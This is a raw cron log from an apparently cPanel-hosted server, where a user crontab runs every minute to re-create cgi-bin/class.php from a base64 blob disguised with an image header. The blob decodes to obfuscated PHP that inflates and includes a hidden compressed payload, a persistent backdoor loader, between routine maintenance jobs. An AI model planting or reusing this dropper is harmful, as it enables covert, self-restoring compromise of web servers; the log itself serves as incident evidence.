Nov 16 03:23:01 server CROND[20091]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 03:24:01 server CROND[20840]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 03:25:01 server CROND[21595]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 03:25:01 server CROND[21596]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 16 03:25:01 server CROND[21597]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 16 03:26:01 server CROND[22503]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 03:27:01 server CROND[23006]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 03:27:01 server CROND[23007]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 16 03:27:01 server CROND[23008]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &amp;&gt; /dev/null &amp;&amp; /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/nightly_gzip)
Nov 16 03:28:01 server CROND[23123]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 03:29:01 server CROND[23220]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 03:30:01 server CROND[23322]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 16 03:30:01 server CROND[23324]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 03:30:01 server CROND[23323]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 16 03:30:01 server CROND[23325]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 16 03:31:01 server CROND[23483]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 03:32:01 server CROND[23682]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 03:33:01 server CROND[23785]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 03:34:01 server CROND[23880]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 03:35:01 server CROND[23984]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 16 03:35:01 server CROND[23985]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 16 03:35:01 server CROND[23986]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 16 03:35:01 server CROND[23991]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 03:35:01 server CROND[23990]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
